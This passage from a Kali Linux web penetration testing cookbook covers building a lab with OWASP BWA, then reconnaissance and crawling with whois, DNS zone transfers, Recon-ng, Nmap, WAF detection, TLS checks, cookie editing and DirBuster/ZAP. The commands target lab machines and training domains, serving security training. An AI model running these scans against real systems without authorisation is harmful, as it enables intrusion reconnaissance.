VirtualBox creates virtual network adapters in the base system in order to manage DHCP and virtual networks. These adapters are independent from the ones assigned to virtual machines; we will create a virtual network and add the Kali and vulnerable virtual machines to it by using the following steps:

1. In VirtualBox, navigate to File | Preferences... | Network.

2. Select the Host-only Networks tab.

3. Click on the plus (+) button to add a new network.

4. The new network (vboxnet0) will be created and its details window will pop up.

5. In this dialog box, you can specify the network configuration; if it doesn't interfere with your local network configuration, leave it as it is. You may change it and use some other address in the segments reserved for local networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

6. Now, go to the DHCP Server tab; here, we can configure the dynamic IP address assignation in the host-only network. We'll start our dynamic addressing at 192.168.56.10:

7. After proper configuration is done, click OK.

8. The next step is to configure the vulnerable virtual machine (vm_1). Select it and go to its Settings.

9. Click Network and, in the Attached to: drop-down menu, select Host-only Adapter.

10. In Name, select vboxnet0.

11. Click OK.

12. Follow steps 8 to 11 for the Kali virtual machine (Kali Linux 2018.1) and all of the testing machines you want to include in your lab.

13. After configuring all virtual machines, let's test whether they can actually communicate. Let's see the network configuration of our Kali machine; open a Terminal and type:

ifconfig

14. We can see that we have a network adapter called eth0 and it has the IP address 192.168.56.10. Depending on the configuration you used, this may vary.

15. For vm_1, the network address is displayed on the start screen, although you can also check the information by logging in and using ifconfig:

16. Now, we have the IP addresses of our three machines: 192.168.56.10 for Kali Linux, and 192.168.56.11 for the vulnerable vm_1. Let's test the communication; we are going to ping vm_ 1 from our Kali Linux:

ping 192.168.56.11

Ping sends an ICMP request to the destination and waits for the reply; this is useful to test whether communication is possible between two nodes in the network.

17. We do the same to and from all of the virtual machines in our laboratory to check whether they can communicate with each other.

18. Windows desktop systems, like Windows 7 and Windows 10, may not respond to pings; that's normal because Windows 7 is configured by default to not respond to ping requests. To check connectivity in this case, if you have Windows machines in your lab, you can use arping from the Kali machine:

arping -c 4 192.168.56.103

How it works...

A host-only network is a virtual network that acts as a LAN, but its reach is limited to the host that is running the virtual machines without exposing them to external systems. This kind of network also provides a virtual adapter for the host to communicate with the virtual machines as if they were in the same network segment.

With the configuration we just made, we will be able to communicate between the machine that will take the roles of client and attacking machine in our tests and the web server that will host our target applications.

Getting to know web applications on a vulnerable virtual machine

OWASP BWA contains many web applications, intentionally rendered vulnerable to the most common attacks. Some of them are focused on the practice of some specific technique,
while others try to replicate real-world applications that happen to have vulnerabilities.

In this recipe, we will take a tour of our vulnerable_vm and get to know some of the applications it includes.

Getting ready

We need to have our vulnerable_vm running and its network correctly configured. For this book, we will be using 192.168.56.10 as its IP address.

How to do it...

The steps that need to be performed are as follows:

1. With vm_1 running, open your Kali Linux host's web browser and go to http://192.168.56.10. You will see a list of all the applications that the server contains:

2. Let's go to Damn Vulnerable Web Application.

3. Use admin as a username and admin as a password. We can see a menu on the left; this menu contains links to all the vulnerabilities that we can practice in this application: Brute Force, Command Execution, SQL Injection, and so on. Also, the DVWA Security section is where we can configure the security (or complexity) levels of the vulnerable inputs:

4. Log out and return to the server's homepage.

1. Now, we click on OWASP WebGoat.NET. This is a .NET application where we will be able to practice file and code injection attacks, cross-site scripting, and encryption vulnerabilities. It also has a WebGoat Coins Customer Portal that simulates a shopping application and can be used to practice not only the exploitation of vulnerabilities, but also their identification:

6. Now return to the server's home page.

7. Another interesting application included in this virtual machine is BodgeIt, which is a minimalistic version of an online store based on JSP. It has a list of products that we can add to a shopping basket, a search page with advanced options, a registration form for new users, and a login form. There is no direct reference to vulnerabilities; instead, we will need to look for them:

8. We won't be able to look at all the applications in a single recipe, but we will be using some of them in this book.

How it works...

The applications in the home page are organized in the following six groups:

- Training applications: These are the ones that have sections dedicated to
practice-specific vulnerabilities or attack techniques; some of them include
tutorials, explanations, or other kinds of guidance.

- Realistic, intentionally vulnerable applications: Applications that act as real-world applications (stores, blogs, and social networks) and are intentionally left vulnerable by their developers for the sake of training.

- Old (vulnerable) versions of real applications: Old versions of real applications,
such as WordPress and Joomla, are known to have exploitable vulnerabilities;
these are useful to test our vulnerability identification skills.

- Applications for testing tools: The applications in this group can be used as benchmarks for automated vulnerability scanners.

- Demonstration pages/small applications: These are small applications that have only one or a few vulnerabilities, for demonstration purposes only.

- OWASP demonstration application: OWASP AppSensor is an interesting application; it simulates a social network and could have some vulnerabilities in it. But it will log any attack attempts, which is useful when trying to learn, for example, how to bypass some security devices such as a web application firewall.

See also

Even though OWASP BWA is one of the most complete collections of vulnerable web applications for testing purposes, there are other virtual machines and web applications that could complement it as they contain different applications, frameworks, or configurations. The following are worth a try:

- OWASP Bricks, included in BWA, also has an online version: http://sechow.com/bricks/index.html.

- Hackazon (http://hackazon.webscantest.com/) is an online testing range meant to simulate a modern web application. According to its Wiki (https://github.com/rapid7/hackazon/wiki), it can also be found as a virtual machine OVA file.

- Acunetix's Vulnweb (http://www.vulnweb.com/) is a collection of vulnerable web applications, each one using a different technology (PHP, ASP, JSP, HTML5) created to test the effectiveness of the Acunetix web vulnerability scanner.

- Testfire (http://testfire.net/) is published by Watchfire and simulates an online banking application. It uses the .NET framework.

- Hewlett Packard also has a public testing site created to demonstrate the effectiveness of its Fortify WebInspect products; it is called ZeroBank (http://zero.webappsecurity.com/).

Reconnaissance

In this chapter, we will cover:

- Passive reconnaissance

- Using Recon-ng to gather information

- Scanning and identifying services with Nmap

- Identifying web application firewalls

- Identifying HTTPS encryption parameters

- Using the browser's developer tools to analyze and alter basic behavior

- Obtaining and modifying cookies

- Taking advantage of robots.txt

Introduction

Every penetration test, be it for a network or a web application, has a workflow; it has a series of stages that should be completed in order to increase our chances of finding and exploiting every possible vulnerability affecting our targets, such as:

- Reconnaissance

- Enumeration

- Exploitation

- Maintaining access

- Cleaning tracks

In a network penetration testing scenario, reconnaissance is the phase where testers must identify all the assets in the network, firewalls, and intrusion detection systems. They also gather the maximum information about the company, the network, and the employees.

In our case, for a web application penetration test, this stage will be all about getting to know the application, the database, the users, the server, and the relationship between the application and us.

Reconnaissance is an essential stage in every penetration test; the more information we have about our target, the more options we will have when it comes to finding vulnerabilities and exploiting them.

Passive reconnaissance

Passive reconnaissance is something we do without directly interacting with our target, that is, we gather information about it from third parties such as search engines, cache databases, reputation monitoring sites, and many others.

In this recipe, we will be requesting information from multiple online services, also referred to as open source intelligence (OSINT), in order to build a general picture of our target and discover information that is useful from a penetration testing perspective, in the scenario that we are testing a publicly available site or application.

Getting ready

Given that in this recipe, we will request information from multiple public sources, we will need for our Kali virtual machine to be able to connect to the internet, hence, we will need to configure its network settings to use a NAT adapter. To do this, follow the recipe Configuring virtual machines for correct communication in Chapter 1, Setting Up Kali Linux and the Testing Lab, and select NAT instead of Host-only Adapter.

How to do it...

We will be using zonetransfer.me as our target domain name. The domain zonetransfer.me has been created by Robin Wood, from DigiNinja (https://digi.ninja/projects/zonetransferme.php), to illustrate the risks of allowing public DNS zone transfers:

1. We first use whois on the domain name to get the registration information about it. Let's try testing a domain such as zonetransfer.me:

# whois zonetransfer.me

2. Another tool used to get information about the domain name and DNS resolution is dig. We can, for example, query the nameservers for the target domain:

# dig ns zonetransfer.me

3. Once we have the information on the DNS servers, we can attempt a zone transfer attack to get all the hostnames the server resolves. For this we use dig:

# dig axfr @nsztm1.digi.ninja zonetransfer.me

Luckily for us, the server is vulnerable and gives us a complete list of subdomains and the hosts it resolves to. Sometimes we can find some low-hanging fruits to exploit on them:

4. We now use theharvester to identify email addresses, hostnames, and IP addresses related to the target domain:

# theharvester -b all -d zonetransfer.me

5. For each web server in scope, we want to know what software and which versions it uses; a way of doing this without directly querying the server is through Netcraft. Browse to https://toolbar.netcraft.com/site_report and enter the URL in the search box:

6. Also, sometimes it may be useful to know what the site looked like before the last update; maybe it had some valuable information that was later removed. To get a static copy of a previous version of our targets, we can use Wayback Machine from https://archive.org/web/web.php:

How it works...

In this recipe, we used multiple tools to gather different pieces of information about our target. We started running whois, this Linux command queries the domain registration details, and with it we can obtain the addresses of nameservers and owner details such as company, email address, phone number, and others. whois can also query information about IP addresses, showing information about the company owning the network segment the address belongs to. Next, we used dig to get information about the domain servers and then to perform a zone transfer and obtain the complete list of hosts resolved by the queried server; this works only on servers that are not correctly configured.

By using theharvester, we obtained email addresses, hostnames, and IP addresses related to the target domain. The options used in this recipe were -b all, to use all the supported search engines, and -d zonetransfer.me to specify the target domain.

We then used Netcraft to obtain information about the technologies used by the site and a brief history of updates and changes; this allowed us to further plan the testing process without having to query the actual site.

Wayback Machine is a service that stores static copies of internet sites and keeps a record of their updates and versions; here, we can see the information published in older versions of the site and maybe obtain information published previously and subsequently removed. Sometimes, an update to a web application may leak sensitive data and such an update is rolled back or replaced by a new version, hence the usefulness of being able to see previous versions of the applications.

See also

Additionally, we can use Google's advanced search options (https://support.google.com/websearch/answer/2466433) to look for information about our target domain without directly accessing it. For example, by using a search like site:site_to_look_into "target_domain", we can look for the presence of our target domain in pages where recently found vulnerabilities, leaked information or successful attacks have been published, some good places where we can look at are:

- openbugbounty.org: Open Bug Bounty is a site where independent security researchers report and disclose vulnerabilities (only Cross-Site Scripting and Cross-Site Request Forgery) on public facing websites. So this search in Google will return all mentions to "zonetransfer.me" made in openbugbounty.org.

- pastebin.com: Pastebin is, among other uses, a very popular way for hackers to anonymously exfiltrate and publish information obtained during an attack.

- zone-h.org: Zone-H is a site where malicious hackers go and brag about their achievements, mostly the defacement of sites.

Using Recon-ng to gather information

Recon-ng is an information-gathering tool that uses many different sources to gather data, for example, on Google, Twitter, and Shodan.

In this recipe, we will learn the basics of Recon-ng and use it to gather public information about our target.

Getting ready

Although Recon-ng is ready to use as installed in Kali Linux, some of its modules require an API key to make queries to the online services. Also, having an API key will allow you to perform more advanced searches or avoid query limits in some services.

These keys can be generated by completing the registration on each search engine's website.

How to do it...

Let's do a basic query to illustrate how Recon-ng works:

1. To start Recon-NG from Kali Linux, use the Applications menu (Applications | 01 - Information Gathering | recon-ng) or type the recon-ng command in a Terminal:

2. We will be presented with a command-line interface. To see the modules we have available, we can issue the show modules command.

3. Let's say we want to search all of the subdomains of a domain and the DNS server doesn't respond to zone transfer. We can brute force the subdomains; to do that, we first load the brute_hosts module: use recon/domains-hosts/brute_hosts.

4. To learn the options we need to configure when using any module, we use the show options command.

5. To assign a value to an option, we use the command set: set source zonetransfer.me.

6. Once we have set all the options, we issue the run command to execute the module:

7. It will take some time for the brute force to complete and it will display lots of information. Once it finishes, we can query the Recon-ng database to get the discovered hosts (show hosts):

How it works...

Recon-ng is a wrapper for a multitude of tools and APIs that query search engines, social media, internet archives, and databases to obtain information about websites, web applications, servers, hosts, users, email addresses, and others. It works by integrating modules that provide different functionalities, such as searching Google, Twitter, LinkedIn, or Shodan, among others, or performing queries to DNS servers, like the one we used in this recipe. It also has modules for importing files into its database or for generating reports in various formats, such as HTML, MS Excel, or CSV.

See also

Another very useful tool for information gathering and OSINT, included by default in Kali Linux, is Maltego (https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php), a favorite of many penetration testers. This tool provides a graphical user interface that displays all of the analyzed elements (email addresses, people, domain names, companies, and so on) within a graph where the relationships between elements are visually shown. For example, the node representing a person will be connected by a line to that person's email address and that email address to the domain name it belongs to.

Scanning and identifying services with Nmap

Nmap is probably the most used port scanner in the world. It can be used to identify live hosts, scan TCP and UDP open ports, detect firewalls, get versions of services running in remote hosts, and even, with the use of scripts, find and exploit vulnerabilities.

In this recipe, we will use Nmap to identify all the services running on our target application's server and their versions. For learning purposes, we will do this in several calls to Nmap, but it can be done using a single command.

Getting ready

All we need is to have our vulnerable vm_1 running.

How to do it...

All of the tasks in this recipe can be done via a single line command; they are shown separately here to better illustrate their functionalities and results:

1. First, we want to see whether the server is answering to a ping or if the host is up:

# nmap -sn 192.168.56.11

2. Now, that we know that it's up, let's see which ports are open:

# nmap 192.168.56.11

3. Now we will tell Nmap to ask the server for the versions of services it is running and to guess the operating system based on that:

# nmap -sV -O 192.168.56.11

We can see that our vm_1 has, most likely, a Linux operating system (Nmap wasn't able to determine it exactly). It uses an Apache 2.2.14 web server, PHP 5.3p1, Jetty 6.1.25, and so on.

How it works...

Nmap is a port scanner; this means that it sends packets to a number of TCP or UDP ports on the indicated IP address and checks whether there is a response. If there is, it means the port is open; hence, a service is running on that port.

In the first command, with the -sn parameter, we instructed Nmap to only check whether the server was responding to the ICMP requests (or pings). Our server responded, so it is alive.

The second command is the simplest way to call Nmap; it only specifies the target IP address. What this does is ping the server; if it responds, then Nmap sends probes to a list of 1,000 TCP ports to see which one responds and how they do it, and it then reports the results showing which ports are open.

The third command adds the following two tasks to the second one:

- -sV asks for the banner-header or self identification of each open port found, which is what it uses as the version

- -O tells Nmap to try to guess the operating system running on the target using the information collected from open ports and versions

There's more...

Other useful parameters when using Nmap are as follows:

- -sT: By default, when it is run as a root user, Nmap uses a type of scan known as the SYN scan. Using this parameter, we force the scanner to perform a full connect scan. It is slower, and will leave a record in the server's logs, but it is less likely to be detected by an intrusion detection system or blocked by a firewall.

- -Pn: If we already know that the host is alive or is not responding to pings, we can use this parameter to tell Nmap to skip the ping test and scan all the specified targets, assuming they are up.

- -v: This is the verbose mode. Nmap will show more information about what it is doing and the responses it gets. This parameter can be used multiple times in the same command: the more it's used, the more verbose it gets (that is, -vv or -v -v -v -v).

- -p N1,N2,...,Nn: We might want to use this parameter if we want to test specific ports or some non-standard ports, where N1 to Nn are the port numbers that we want Nmap to scan. For example, to scan ports 21, 80 to 90, and 137, the parameters will be -p 21,80-90,137. Also, using -p- Nmap will scan all ports from 0 to 65, and 536.

- --script=script_name: Nmap includes a lot of useful scripts for vulnerability checking, scanning or identification, login tests, command execution, user enumeration, and so on. Use this parameter to tell Nmap to run scripts over the target's open ports. You may want to check the use of some Nmap scripts at: https://nmap.org/nsedoc/scripts/.

See also

Although it's the most popular, Nmap is not the only port scanner available and, depending on varying tastes, maybe not the best either. There are some other alternatives included in Kali Linux, such as:

- unicornscan

- hping3

- masscan

- amap

- Metasploit's scanning modules

Identifying web application firewalls

A web application firewall (WAF) is a device or a piece of software that checks packages
sent to a web server in order to identify and block those that might be malicious, usually based on signatures or regular expressions.

We can end up dealing with a lot of problems in our penetration test if an undetected WAF blocks our requests or bans our IP address. When performing a penetration test, the reconnaissance phase must include the detection and identification of a WAF, intrusion detection system (IDS), or an intrusion prevention system (IPS). This is required in order to take the necessary measures to prevent being blocked or banned by these protection devices.

In this recipe, we will use different methods, along with the tools included in Kali Linux, to detect and identify the presence of a web application firewall between our target and us.

How to do it...

There are different ways of detecting if an application is protected by a WAF or IDS; being blocked and/or blacklisted after launching an attack is the worst of all, so we will use Nmap and wafw00f to identify whether our target is behind a WAF before going all in:

1. Nmap includes a couple of scripts to test for the presence of a WAF in all of the detected HTTP ports. Let's try some on our vulnerable vm_1:

# nmap -sT -sV -p 80,443,8080,8081 --script=http-waf-detect 192.168.56.11

It seems like we don't have a WAF protecting this server

2. Now, let's try the same command on a server that actually has a firewall protecting it. Here, we will use example.com as a made-up name; however, you may try it over any protected server:

# nmap -p 80,443 --script=http-waf-detect www.example.com

3. There is another script in Nmap that can help us to identify the WAF being used more precisely. The script is http-waf-fingerprint:

# nmap -p 80,443 --script=http-waf-fingerprint www.example.com

4. Another tool that Kali Linux includes to help us in detecting and identifying a WAF is wafw00f. Suppose www.example.com is a WAF-protected site:

# wafw00f www.example.com

How it works...

WAF detection works by sending specific requests to servers and then analyzing the response; for example, in the case of http-waf-detect, it sends some basic malicious packets and compares the responses while looking for an indicator that a packet was blocked, refused, or detected. The same occurs with http-waf-fingerprint, but this script also tries to interpret that response and classify it according to known patterns of various IDSs and WAFs. The same applies to wafw00f.

Identifying HTTPS encryption parameters

We are, at a certain level, used to assuming that when a connection uses HTTPS with SSL or TLS encryption, it is secured and any attacker that intercepts it will only receive a series of meaningless numbers. Well, this may not be absolutely true; the HTTPS servers need to be correctly configured to provide a strong layer of encryption and to protect users from man-in-the-middle (MITM) attacks or cryptanalysis. A number of vulnerabilities in the implementation and design of the SSL protocol have been discovered and its successor, TLS, has also been found to be vulnerable under certain configurations, thus making the testing of secure connections mandatory in any web application penetration test.

In this recipe, we will use tools such as Nmap, SSLScan, and TestSSL to analyze the configuration (from the client's perspective) of the server in terms of its secure communication.

Getting ready

One of the tools we will use in this recipe, TestSSL, is not installed by default in Kali Linux but is available in its software repository. We need to configure our Kali VM to use a NAT network adapter to allow it internet access, and execute the following commands in a terminal:

# apt update
# apt install testssl.sh

After installing TestSSL, change the network adapter back to host-only so you can communicate with the vulnerable virtual machine.

How to do it...

According to the scans we did in previous recipes, vm_1 has an HTTPS service running on port 443; let's see how secure it is:

1. To query the protocols and ciphers supported by an HTTPS site with Nmap, we need to scan the HTTPS ports and use the script ssl-enum-ciphers:

nmap -sT -p 443 --script ssl-enum-ciphers 192.168.56.11

2. SSLScan is a command-line tool dedicated to evaluating the SSL/TLS configuration of servers. To use it, we only need to add the server's IP address or hostname (sslscan 192.168.56.11):

3. TestSSL shows a more detailed input than Nmap or SSLScan; its basic use only requires us to append the target to the command in the command line. It also allows for exporting output to multiple formats, such as CSV, JSON, or HTML (testssl 192.168.56.11):

How it works...

Nmap, SSLScan, and TestSSL work by making multiple connections to the target HTTPS server by trying different cipher suites and client configurations to test what it accepts.

In the results shown by all three tools, we can see some issues that can put the encrypted communication:

- Use of the SSLv3. SSL protocol has been deprecated since 2015 and it has inherent vulnerabilities that make it prone to multiple attacks, such as Sweet32 (https://sweet32.info/), and POODLE (https://www.openssl.org/~bodo/ssl-poodle.pdf).

- Use of RC4 and DES ciphers and SHA and MD5 hashes. RC4 and DES encryption algorithms are now considered cryptographically weak, as are the SHA and MD5 hashing algorithms. This is due to the improvement on processing power of modern computers and the fact that those algorithms can be broken in a realistic amount of time with such processing power.

- Use of TLS 1.0. TLS is the successor to SSL and its current version is 1.2. While TLS 1.1 is still considered acceptable, allowing TLS 1.0 in a server is considered bad practice or a security concern.

- The certificate is self-signed, uses a weak signature algorithm (SHA1), and the RSA key is not strong enough (1,024 bits).

When a browser connects to a server using HTTPS, they exchange information on what ciphers the browser can use and which of those the server supports, and then they agree on using the higher complexity common to both of them. If an MITM attack is performed against a poorly configured HTTPS server, the attacker can trick the server by saying that the client only supports the weakest cipher suite, say 56 bits DES over SSLv2, and then the communication intercepted by the attacker will be encrypted with an algorithm that may be broken in a few days or hours with a modern computer.

See also

The tools shown here are not the only ones that can retrieve cipher information from SSL/TLS connections. There is another tool included in Kali Linux called SSLyze that could be used as an alternative and may sometimes give complimentary results to our tests:

sslyze --regular www.example.com

SSL/TLS information can also be obtained through OpenSSL commands:

openssl s_client -connect www2.example.com:443

Using the browser's developer tools to analyze and alter basic behavior

Firebug is a browser add-on that allows us to analyze the inner components of a web page, such as table elements, CSS classes, and frames. It also has the ability to show us DOM objects, error codes, and request-response communication between the browser and server.

In the previous recipe, we saw how to look into a web page's HTML source code and found a hidden input field that established some default values for the maximum size of a file. In this recipe, we will see how to use the browser's debugging extensions, in this particular case, Firebug for Firefox, or OWASP Mantra.

How to do it...

With vm_1 running, go to your Kali VM and browse to http://192.168.56.11/WackoPicko:

1. Right-click on Check this file option and then select Inspect Element:

A browsers developer tools can also be triggered using F12, or Ctrl + Shift + C.

2. There is a type="hidden" parameter on the first input of the form; double-click on hidden to select it:

3. Replace hidden with text, or delete the whole property type="hidden" and hit Enter.

4. Now, double-click on the parameter value of 3000.

5. Replace that value with 500000:

6. Now we see a new textbox on the page with 500000 as the value. We have just changed the file size limit and added a form field to change it.

How it works...

Once a web page is received by the browser, all its elements can be modified to alter the way the browser interprets it. If the page is reloaded, the version generated by the server
is shown again.

Developer Tools allow us to modify almost every aspect of how the page is shown in the browser; so, if there is control established client-side, we can manipulate it with this tool.

There's more...

A browser's developer tools are not only to unhide input or change values; it also has some other very useful tools:

- Inspector is the tab we just used. It presents the HTML source in a hierarchical way, thus allowing us to modify its contents.

- The Console tab shows errors, warnings, and some other messages generated
when loading the page.

- Within Debugger, we can see the full HTML source, set breakpoints that will interrupt the page load when the process reaches them, and check and modify variable values when running scripts.

- The Style Editor tab is used to view and modify the CSS styles used by the page.

- In the Performance tab, we can calculate stats about the time and resources used by dynamic and static elements loaded on the page. From a developer's perspective, this is useful for detecting bottlenecks and excessive use of computing power in client-side code.

- Memory can be used to take snapshots of the process's memory; this is useful if we want to look for sensitive information stored in memory.

- Network displays the requests made to the server and its responses, their types, size, response time, and its order in a timeline.

- Storage shows the cookies and other client-side storage options and makes it possible to delete them or change their values.

- Other tabs that can be enabled in the tools settings are:

- DOM

- Shader Editor

- Canvas

- Web Audio

- Scratchpad

Obtaining and modifying cookies

Cookies are small pieces of information sent by a web server to the client (browser) to store some information locally, related to that specific user. In modern web applications, cookies are used to store user-specific data, such as color theme configuration, object arrangement preferences, previous activity, and (more importantly for us) the session identifiers.

In this recipe, we will use the browser's tools to see the cookies' values, how they are stored, and how to modify them.

Getting ready

Our vm_1 needs to be running. 192.168.56.11 will be used as the IP address for that machine and we will use Firefox as the web browser.

The Storage tab in Developer Tools may not be enabled by default in Firefox; to enable it, we open developer tools (F12 in the browser) and go to the Toolbox options (the gear icon on the right). Under Default Developer Tools, we tick the Storage box.

How to do it...

To view and edit the value of cookies, we can use the browser's developer tools or the cookies manager and the plugin that we installed in Chapter 1, Setting Up Kali Linux and the Testing Lab. Let's try both methods:

1. Browse to http://192.168.56.11/WackoPicko.

2. Open Developer Tools and go to Storage | Cookies:

We can change any of the cookie's values by double-clicking on them and entering a new one.

3. Now, we can also use a plugin to check and edit cookies. On Firefox's top bar, click on the Cookies Manager button:

In the preceding image, we can see all the cookies stored at that time, and the sites they belong to, with this add-on. We can also modify their values, delete them, and add new ones.

4. Select PHPSESSID from 192.168.56.11 and click on Edit.

5. Change the Http Only value to Yes:

The parameter we just changed (Http Only) tells the browser that this cookie is not allowed to be accessed by a client-side script.

How it works...

Cookies Manager is a browser add-on that allows us to view, modify, or delete existing cookies and to add new ones. As some applications rely on values stored in these cookies, an attacker can use them to inject malicious patterns that might alter the behavior of the page or to provide fake information in order to gain a higher level of privilege.

Also, in modern web applications, session cookies are commonly used and often are the only source of user identification once the login is done. This leads to the possibility of impersonating a valid user by replacing the cookie's value for the user of an already active session.

There's more...

When implementing penetration testing on web applications, we should pay attention to certain characteristics in the cookies to verify that they are secure:

- Http Only: If a cookie has this flag set, then it will not be accessible through scripting code; this means that the cookie values can only be altered from the server. We can still use the browser tools or a plugin to change them, but not a script within the page.

- Secure: The cookie won't be transferred through unencrypted channels; if a site uses HTTPS and this flag is set in the cookie, the browser won't take or send the cookie when the requests are done through HTTP.

- Expires: If the expiration date is set to the future, it means that the cookie is stored in a local file and will be kept even after the browser closes. An attacker could get this cookie directly from the file and perhaps steal a valid user's session.

Taking advantage of robots.txt

One step further into reconnaissance, we need to figure out if there is any page or directory in the site that is not linked to what is shown to the common user, for example, a login page to the intranet or to the Content Management Systems (CMS) administration. Finding a site similar to this will expand our testing surface considerably and give us some important clues about the application and its infrastructure.

In this recipe, we will use the robots.txt file to discover some files and directories that may not be linked to anywhere in the main application.

How to do it...

To illustrate how a penetration tester can take advantage of robots.txt, we will use vicnum, a vulnerable web application in vm_1, which contains three number and word guessing games. We will use information obtained through robots.txt to increase our chances of winning those games:

1. Browse to http://192.168.56.11/vicnum/.

2. Now, we add robots.txt to the URL and we will see the following:

This file tells search engines that the indexing of the directories jotto and cgi-bin is not allowed for every browser (User-agent). However, this doesn't mean that we cannot browse them.

3. Let's browse to http://192.168.56.11/vicnum/cgi-bin/:

We can click and navigate directly to any of the Perl scripts (.pl files) in this directory.

4. Let's browse to http://192.168.56.11/vicnum/jotto/.

5. Click on the file named jotto. You will see something similar to the
following screenshot:

jotto is a game about guessing five-character words; could this be the list of possible answers? Play the game using words in that list as answers. We have already hacked the game:

How it works...

robots.txt is a file used by web servers to tell search engines about the directories or files that they should index and what they are not allowed to look into. Taking the perspective of an attacker, this tells us whether there is a directory in the server that is accessible but hidden to the public using what is called security through obscurity (that is, assuming that users won't discover the existence of something if they are not told about it).

Using Proxies, Crawlers, and Spiders

In this chapter, we will cover:

- Finding files and folders with Dirb

- Finding files and folders with ZAP

- Using Burp Suite to view and alter requests

- Using Burp Suite's intruder to find files and folders

- Using the ZAP proxy to view and alter requests

- Using ZAP spider

- Using Burp Suite to spider a website

- Repeating requests with Burp Suite's repeater

- Using WebScarab

- Identifying relevant files and directories from crawling results

Introduction

A penetration test may be performed using different approaches called black, grey, and white box. Black box is when the testing team doesn't have any previous information about the application to test except the URL of the server; white box is when the team has all information about the target, its infrastructure, software versions, test users, development information, and so on; and gray box is a point in between.

For both black and gray box approaches, a reconnaissance phase, as we saw in the previous chapter, is necessary for the testing team to discover the information that could be provided by the application's owner in a white box approach.

Continuing with the reconnaissance phase in a web penetration test, we will need to browse every link included in a web page and have a record of every file displayed by it. There are tools that help us to automate and accelerate this task; they are called web crawlers or web spiders. These tools browse a web page following all links and references to external files, sometimes filling in forms and sending them to servers, saving all requests and responses made and giving us the opportunity to analyze them offline.

In this chapter, we will cover the use of some proxies, spiders, and crawlers included in Kali Linux and will also see what files and directories would be interesting to look for in a common web page.

Finding files and folders with DirBuster

DirBuster is a tool created to discover, by brute force or by comparison with a wordlist, the existing files and directories in a web server. We will use it in this recipe to search for a specific list of files and directories.

Getting ready

We will use a text file that contains the list of words that we will ask DirBuster to look for. Create a text file, dir_dictionary.txt, containing the following:

info
server-status
server-info
cgi-bin
robots.txt
phpmyadmin
admin
login

How to do it...

DirBuster is an application made in Java; it can be called from Kali's main menu or from a terminal using the dirbuster command. The following are the steps required to make such call:

1. Navigate to Applications | 03 - Web Application Analysis | Web Crawlers & Directory Bruteforcing | Dirbuster.

2. In the DirBuster window, set the target URL to http://192.168.56.11/.

3. Set the number of threads to 20 to have a decent testing speed.

4. Select List based brute force and click on Browse.

5. In the browsing window, select the file we just created (dir_dictionary.txt).

6. Uncheck the Be Recursive option.

7. For this recipe, we will leave the rest of options at their defaults:

8. Click on Start.

9. If we go to the Results tab, we will see that DirBuster has found at least two of the files in our dictionary: cgi-bin and phpmyadmin. The response code 200 means that the file or directory exists and can be read. phpmyadmin is a web-based MySQL database administrator; finding a directory with this name tells us that there is a database management system (DBMS) in the server and it may contain relevant information about the application and its users:

How it works...

DirBuster is a mixture of a crawler and brute forcer; it follows all links in the pages it finds but also tries different names for possible files. These names may be in a file similar to the one we used or may be automatically generated by DirBuster using the option of Pure Brute Force and setting the character set and minimum and maximum lengths for the generated words.

To determine if a file exists or not, DirBuster uses the response codes from the server. The most common responses are listed as follows:

- 200 OK: The file exists and the user can read it

- 404 File not found: The file does not exist in the server

- 301 Moved permanently: This is a redirect to a given URL

- 401 Unauthorized: Authentication is required to access this file

- 403 Forbidden: Request was valid but the server refuses to respond

See also

dirb is a command-line tool included in Kali Linux that also takes a dictionary file to forcefully browse into a server to identify existing files and directories. To see its syntax and options, open a terminal and enter the # dirb command.

Finding files and folders with ZAP

OWASP Zed Attack Proxy (ZAP) is a very versatile tool for web security testing. It has a proxy, passive and active vulnerability scanners, fuzzer, spider, HTTP request sender, and some other interesting features. In this recipe, we will use the recently added Forced Browse, which is the implementation of DirBuster inside ZAP.

Getting ready

For this recipe to work, we need to use ZAP as a proxy for our web browser:

1. Start OWASP ZAP from Kali Linux menu and, from the application's menu, navigate to Applications | 03 - Web Application Analysis | owasp-zap.

2. Next, we'll change ZAP's proxy settings. By default, it uses port 8080, but that may interfere with other proxies like Burp Suite if we have them running at the same time. In ZAP, go to Tools | Options | Local Proxies and change the port to 8088:

3. Now, in Firefox, go to the main menu and navigate to Preferences | Advanced | Network; in Connection, click on Settings.

4. Choose a Manual proxy configuration and set 127.0.0.1 as the HTTP Proxy and 8088 as the Port. Check the option to use the same proxy for all protocols and then click on OK:

5. We can also use the FoxyProxy plugin to set up multiple proxy settings and switch between them with just a click:

How to do it...

Now that we have the browser and proxy configured, we are ready to scan a server for existing folders using the following steps:

1. Having configured the proxy properly, browse to http://192.168.56.11/WackoPicko.

2. We will see ZAP reacting to this action by showing the tree structure of the host
we just visited.

3. Now, in ZAP's upper-left panel (the Sites tab), right-click on the WackoPicko folder inside the http://192.168.56.11 site. Then, in the context menu, navigate to Attack | Forced Browse directory (and children); this will do a recursive scan:

4. In the bottom panel, we will see that the Forced Browse tab is displayed. Here we can see the progress of the scan and its results:

How it works...

A proxy is an application that acts as an intermediary between a client and a server or a group of servers providing different services. The client requests a service from the proxy and this has the ability to forward the request to the appropriate server and get the response back from the client.

When we configure our browser to use ZAP as a proxy, it doesn't send the requests directly to the server that hosts the pages we want to see but rather to the address we defined. In this case the one where ZAP is listening. Then, ZAP forwards the request to the server but not without registering and analyzing the information we sent.

ZAP's Forced Browse works the same way that DirBuster does; it takes the dictionary we configured and sends requests to the server, as if it were trying to browse to the files in the list. If the files exist, the server will respond accordingly; if they don't exist or aren't accessible by our current user, the server will return an error.

See also

Another very useful proxy included in Kali Linux is Burp Suite. It also has some very interesting features; one that can be used as an alternative for the Forced Browse we just used is Burp's Intruder. Although it is not specifically intended for that purpose, it is a versatile tool worth checking out.

Using Burp Suite to view and alter requests

Burp Suite is more than a simple web proxy. It is a full-featured web application testing kit. It has a proxy, request repeater, fuzzer, request automation, string encoder and decoder, vulnerability scanners (in the Pro version), plugins to extend its functionality, and other useful features.

In this recipe, we will use Burp Suite's proxy features to intercept a request between the browser and the server and alter its contents.

Getting ready

Start Burp Suite from the applications menu, Applications | 03 - Web Application Analysis | Burpsuite, or by typing the command from the terminal, and set up the browser to use it as proxy on port 8080.

How to do it...

To make things a little more interesting, let's use this interception/modification technique to bypass a basic protection mechanism. Perform the following steps:

1. Browse to OWASP Bricks and go to the exercise Upload 2 (http://192.168.56.11/owaspbricks/upload-2).

